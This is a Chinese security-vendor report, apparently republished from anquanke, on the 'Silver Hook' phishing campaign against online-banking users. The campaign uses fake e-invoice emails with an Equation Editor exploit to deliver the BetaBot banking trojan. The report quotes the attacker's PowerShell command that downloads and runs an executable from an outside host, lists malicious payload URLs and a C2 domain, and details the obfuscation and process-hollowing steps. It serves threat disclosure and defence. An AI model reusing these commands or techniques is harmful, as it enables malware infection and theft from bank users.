首页 资讯 安全 查看内容

银钩:针对国内网银用户的钓鱼的攻击活动

2019-6-6 17:28 |来自: 互联网 1226 0

摘要: 概述电信网络诈骗犯罪让民众蒙受巨大损失。在持续高发的电信网络诈骗案中,不法分子依托电信互联网络,利用各种技术手段,假冒亲属朋友、公职人员,跨国、跨境、跨区域诱骗群众、诈骗钱财。而在这些案例中,利用电子 ...
关键词: shellcode 文件 攻击者 木马 代码 BetaBot dll 分析 exe

 

概述

电信网络诈骗犯罪让民众蒙受巨大损失。在持续高发的电信网络诈骗案中,不法分子依托电信互联网络,利用各种技术手段,假冒亲属朋友、公职人员,跨国、跨境、跨区域诱骗群众、诈骗钱财。

而在这些案例中,利用电子发票通知函为主题的钓鱼邮件攻击手段历史已久,就如此前我们捕获的以顺丰电子发票为主题的钓鱼邮件,该类钓鱼邮件的附件和链接打开后其实为一个钓鱼网站,用于进行用户账号密码盗取。

而这类攻击背后,往往是一个装备精良,组织有序的黑产团伙在进行运营活动,而投放钓鱼邮件进行攻击仅仅是团伙在这条黑色产业链上的一部分。

而奇安信威胁情报中心红雨滴安全研究团队于近日捕获的一封钓鱼邮件的攻击手法却有所不同,其使用了附件为漏洞利用文档的手法进行攻击,试图通过漏洞触发后的木马感染用户电脑,从而窃取个人资产。由于本次攻击涉及目标为经商人员,且中招人员涉及中国台湾等多省份,因此在判定攻击具有针对性后,我们对攻击进行剖析以及攻击者背景进行研判后向公众进行细节披露,希望公众增强对钓鱼邮件的真伪识别能力。

基于我们对团伙历史活动的总结,从2019年4月15日开始进行的样本测试,到整个5月的攻击活动,无不体现出这起攻击背后的黑产团伙对于武器部署到运用的经验之丰富。由于攻击背后的团伙最终目的为针对电信和经商用户的银行账号进行财产窃取,因此我们将该团伙命名为:银钩,意指利用银行木马作为诱饵,等待猎物上钩之意。国外安全公司Cybereason在2018年10月曾对此团伙的活动做过分析揭露,其最早被发现的活动早在2012年,我们当前观察到的为其最新的攻击活动。

 

诱饵分析

红雨滴安全研究团队初始捕获的银钩组织样本为针对中国台湾省的eml文件:“中華電信108年05月電子發票通知函_[發票號碼:NJ06424209].eml” 。

邮件内容可见,攻击者为了引诱受害者打开附件文档,故意将邮件中的兑奖方式标红,使得受害者有打开电子发票查看信息的欲望,同时对于经商人员来说,发票是一个重要报销手段,因此同样有理由打开附件文档。

图1.1 截获到的邮件截图

发送的附件是一个以发票编号为名的doc文件,而该附件使用了CVE-2018-11882漏洞;通过奇安信多维度数据的关联分析,确认本波攻击中大陆也有很多受害者,而受害者一般做外贸生意,且经常使用网银。

图1.2 标记为CVE-2018-11882漏洞

通过对邮件分析,可以发现其伪造中華電信電子發票 <[email protected]>的官方邮箱代发,而实际发件人为:[email protected]

图1.3 邮件头截图

样本分析

对上述样本的技术分析显示其最后会加载一个BetaBot木马,并与C2连接实现远程控制,控制操作受害者的电脑窃取用户网银中的钱。

RTF文件分析

样本中包含的RTF是经过简单混淆的文件,使用红雨滴团队的分析工具提取出shellcode后进行分析。

图2.1 RTF文件内容截图

图2.2提取出来的stream为Equation2版本

Shellcode会通过调用rundll32 javascript:”\..\mshtml,RunHTMLApplication去执行一个远程的HTA文件:

图2.2 RunHTMLApplication执行远程HTA文件

和0xa6异或解密js的下载地址,地址为pastebin上的一个地址:

https://pastebin.com/raw/1fFneMx6

图2.3 xor出js的下载地址

该js的内容会执行一段powershell命令。

图2.4 js的内容

Base64解码出powershell命令的功能为从如下的URL下载femi.exe到temp的nvbackend.exe并通过js脚本执行起来:

iex ((new-object net.webclient).downloadfile(“http://asia-kunsthandwea1-online.com/cs/femi.exe”,”$env:temp\nvbackend.exe”));

从远程地址下载回来femi.exe,进行分析。

femi.exe分析

MD5:6B4384B706D7FA925BDCEEB5B21C855C

该样本是nsis打包的一个文件,主要是为了躲避杀毒软件的静态查杀,该文件会释放一个foreandafters.dll,并通过nsis加载起来;而“Infamy”这个文件是加密的数据文件,后续会被foreandafters.dll和shellcode多次解密并加载。

图3.1 femi.exe的nsis结构

图3.2 nsis脚本加载foreandafters.dll

foreandafters.dll分析

MD5:6e17b30ff21d147b4b11329b0e88d0f7

该dll的导出模块名为_UseBayonet64.dll,导出表为cmpint:

图4.1 foreandafters.dll的PE信息

该dll的代码中加入了大量垃圾指令:

图4.2 加入大量垃圾指令的代码

图4.3 加入大量垃圾指令的代码

0x10003010处的数据异或0x1a解密出shellcode并执行:

图4.4 解密0x10003010处的shellcode

执行shellcode的入口Call,传递的参数指针为0x12fb64,其中包括GetProcAddress的地址、GetModuleHandleA的地址和“Infamy”字符串的地址:

图4.5 传递的参数指针的内容

被执行起来的shellcode首先会读取“Infamy”文件的内容,从该文件的偏移0x0->0x22d取出XOR的Key(共0x22d字节的key);和后续的0x22d->0x22d+0x4c00+0x918的数据单字节异或解密出shellcode,传递kernel32.dll的基址和GetProcAddress的地址,并直接Call shellcode 0x855偏移处的代码(这次使用的数据大小为0x22d+0x4c00+0x918=0x5745;大概为21kb,而“Infamy”文件总大小为303kb,后面的数据会在后面的shellcode中被多次解密使用):

图4.6 解密文件并执行shellcode

执行的第二层shellcode的0x855偏移函数,传递的参数是一个指针;该指针包括:

第一个int:kernel32的基地址

第二个int:GetProcAddress的地址

第三个int:读取到的“Infamy”文件的内容的地址

第四个int:后续代码在Infamy内容中的偏移,就是前面解密shellcode的末尾

图4.7 为第二层shellcode传递的参数指针

第二层shellcode从解密后的数据的0x855偏移处执行,里面包含很多拼串的代码:

图4.8 第二层shellcode的入口处

第二层shellcode会在内存加载一个dll:

图4.9 第二层shellcode在内存中加载的dll

加载的dll名字为:AlienwareAlienFXTester.resources.dll

AlienwareAlienFXTester.resources.dll分析

MD5:7535b629bc5cc8d4aad65d0d34c84fd3

版本信息伪装成Alienware AlienFX的信息:

图5.1 AlienwareAlienFXTester.resources.dll的版本信息

该dll的大部分代码也跟foreandafter.dll一样,同样插入了很多垃圾指令:

图5.2 大量垃圾指令的AlienwareAlienFXTester.resources.dll

该dll刚开始会通过调用CryptDecrypt  10万次,来起到Sleep的作用:

图5.3 延时执行代码的函数

然后会同样读取同目录下的“Infamy”文件,并定位到0x5745的位置。

图5.4 读取同目录下“Infamy”文件

先用“Infamy”和前面的557字节循环异或生成一个557字节的字典:

图5.5 循环异或生成字典

用生成的字典循环异或解密下面的数据:

图5.6密钥解密后续数据

解密后的shellcode又会被在内存中加载起来:

图5.7 执行shellcode

该shellcode传递的参数分别为:待注入的exe的地址、exe长度和一些API的地址:

图5.8 shellcode传递的参数

该shellcode执行起来后,会起来一个nslookup.exe傀儡进程,并把该EXE写入到nslookup的进程空间中执行:

图5.9 shellcode执行起来的傀儡进程

被写入到傀儡进程中的EXE文件MD5为:1f24cb3c78041fb51455369e03732258,这就是BetaBot家族的银行木马。

BetaBot家族样本分析

该样本的MD5为:1f24cb3c78041fb51455369e03732258,是一个EXE文件:

图6.1 exe入口处代码

首先会检测虚拟机,如果在虚拟机运行,会一直等待下去,并不会执行后面的代码;虚拟机的字符串解密算法为单字节异或0x7a,通过枚举Services服务的注册表键值是否包含VMTools、VBoxGuest和VMware, Inc 来判断是否在虚拟机中:

图6.2 检测虚拟机代码

然后会从自身文件头位置开始查找,和一个16字节的特征去比较,找到待解密的数据的offset,得到后取offset:0x33的值为异或密钥,从offset:0x34处开始解密数据,数据长度为offset:0x17-0x20的值:

图6.2 从自身文件查找资源文件

图6.3 解密并解压数据

使用XOR解密并解压后,发现是一个PE文件,该PE会在内存中加载起来,并连接C2:kkrudy[.]com:

图6.4 解密后的PE

内存中解密的该exe是一个远控文件,提过提取字符串,看到一些检测杀软的字符串:

图6.5 BetaBot木马中检测杀软的字符串

通过对该木马的一些特征字符串的搜索,发现一个木马配置器有同样的字符串,通过该配置器配置出来一个木马文件,该配置器的标题为BetaBotBuilderGUI,猜测为BetaBot家族的木马配置器:

图6.6 BetaBot木马配置器

通过比较发现这个木马和前面分析的EXE木马的文件完全一样,所以之前分析的EXE是BetaBot家族的银行木马:

图6.7 BetaBot配置器生成的BetaBot木马

该家族远控的控制界面为Web版本:

图6.8 BetaBot WEB控制端

通过对恶意代码的分析,绘制该恶意代码的执行流程图如下:

图6.9 该恶意代码执行流程图

Betabot(又名Neurevt),是一种复杂的恶意软件,自2012年底首次出现以来发生了重大变化。Betabot最初是作为银行恶意软件出现的,后来演变为密码窃取者。最终,它变成了一个能够提供勒索软件的僵尸网络。

Betabot的主要功能包括:

1、浏览器用户凭据抓取器(Form grabbing)

2、FTP和邮件客户端窃取模块

3、盗窃银行账号模块

4、运行DDOS攻击

5、USB感染模块

6、强大的用户态Rootkit(x86 / x64)

7、通过shell执行任意命令

8、能够下载其他恶意软件

9、驻留自身在系统

10、虚拟货币挖矿模块(2017年新增)

11、分发勒索软件

该恶意软件已在地下黑市上做广告进行销售,售价约为120美元。然而,由于最近发现了Betabot生成器的破解版本,因此其他网络犯罪分子都可以直接利用Betabot生成器构造样本而不从作者处购买,因此导致Betabot的变种增加。

 

分析溯源

由于该木马作者使用pastebin存放hta payload,所以通过搜索pastebin,发现一些攻击者的蛛丝马迹,找到另外一个payload,创建时间分别为5月6日和5月12日:

图7.1 通过pastebin搜到的2个同源脚本

5月6日的那个脚本的powershell命令如下,该文件是一个白的putty样本,所以应该是攻击者在攻击前的测试:

iex ((new-object net.webclient).downloadfile(“https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe”,”$env:temp\nvbackend.exe”));

图7.2 pastebin搜到的攻击者的测试脚本

Pastebin上存的有创建时间和访问次数:

图7.3 pastebin链接的内容

统计信息显示攻击者最近2个月一直在活跃,从4月15开始,5月28的时候还在活跃(标绿色的为测试链接),大部分下载链接的网站都是被黑的网站或者攻击者的虚拟空间,攻击者把EXE放到上面去:

图7.4 pastebin关联到的同源样本

创建时间

访问次数

下载链接

落地文件

pastbin链接

MAY 28TH, 2019

181

http://imhafiz.info/iyk.exe

$env:temp\bakdraw.exe

https://pastebin.com/8qRQdXPk

MAY 21ST, 2019

205

http://asia-kunsthandwea1-online.com/cs/femi.exe

$env:temp\nvbackend.exe

https://pastebin.com/1fFneMx6

MAY 12TH, 2019

83

https://theearth.li/~sgtatham/putty/latest/w64/putty.exe

$env:temp\nvbackend.exe

https://pastebin.com/PeqwepyA

MAY 12TH, 2019

188

http://empire-eyewear.com/bin/099.exe

$env:temp\nvbackend.exe

https://pastebin.com/nggRPkQE

MAY 9TH, 2019

205

http://empire-eyewear.com/logs/81.exe

$env:temp\nvbackend.exe

https://pastebin.com/GfpKLBJz

APR 15TH, 2019

225

http://krosnovunderground.se/smfbk.exe

$env:temp\svchost.exe

https://pastebin.com/KWZVUNW5

APR 28TH, 2019

117

http://shapemix.com/downloads/temp/john.exe

$env:temp\vnchost.exe

https://pastebin.com/SGDZcYrq

除了存放在pastebin上之外,还会把HTA脚本放到被黑的网站上;

比如如下的样本:

文件名:rfq-alp19-smkb-93790.doc

MD5:99cdf54fd36d5eb9378d3060b709a261

HTA文件存在https://silversplash925.com/windows/uloti.hta这个链接上。

图7.5 shellcode解密出来的hta下载地址

图7.6 hta文件于5月28日上传到该网站

从HTA脚本中提取到下一阶段的exe的地址为:

http://www[.]medicmanual[.]com/ecom/RFQ-ALP19-SMKB-93790.exe

图7.7 NSIS解包后的RFQ-ALP19-SMKB-93790.exe文件

而该网站是一个卖珠宝钻石的网站:

图7.8 被黑的网站主页

另外攻击者也会直接以EXE的形式投递的恶意代码,伪装订单信息,后缀为-JPG:

文件名:NEW PO -JPG.exe

MD5:371f8753efa5ed1f90c55211b8631e5e

LoadDll名:buttonholes.dll

图7.9 VT关联到的exe形式投递的样本

下表为找到的NSIS类型的Dropper的统计信息,“Load Dll”表示NSIS包里加载shellcode的dll的名字;通过shellcode的创建时间可以推测攻击者的活跃时间一般是在每天的3到10点左右:

MD5

文件名

修改时间

备注

文件名翻译

0e5c975fb6cbd4569b494b2d92a585f7

crosspollination.dll

2011/5/13 4:20

Load Dll

授粉

d41d8cd98f00b204e9800998ecf8427e

executors.dll

2011/5/15 6:18

Load Dll

遗嘱执行人

e9f0406091c6e24979d02df7e6af742c

limerick.dll

2011/5/16 8:54

Load Dll

五行打油诗

d2744e209d4f6fd05b07473547829729

bogtrotters.dll

2011/5/19 4:28

Load Dll

bogtrotters

0b5dbd2725bc7b0697f9ddeab360920f

enlightened.dll

2011/5/20 11:08

Load Dll

开明

6e17b30ff21d147b4b11329b0e88d0f7

adlibs.dll

2011/5/21 3:51

Load Dll

广告库

e21867fcff7cae00745fb0f90db36131

Orsino.dll

2011/5/23 18:45

Load Dll

本文出处: https://www.anquanke.com/post/id/179908
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论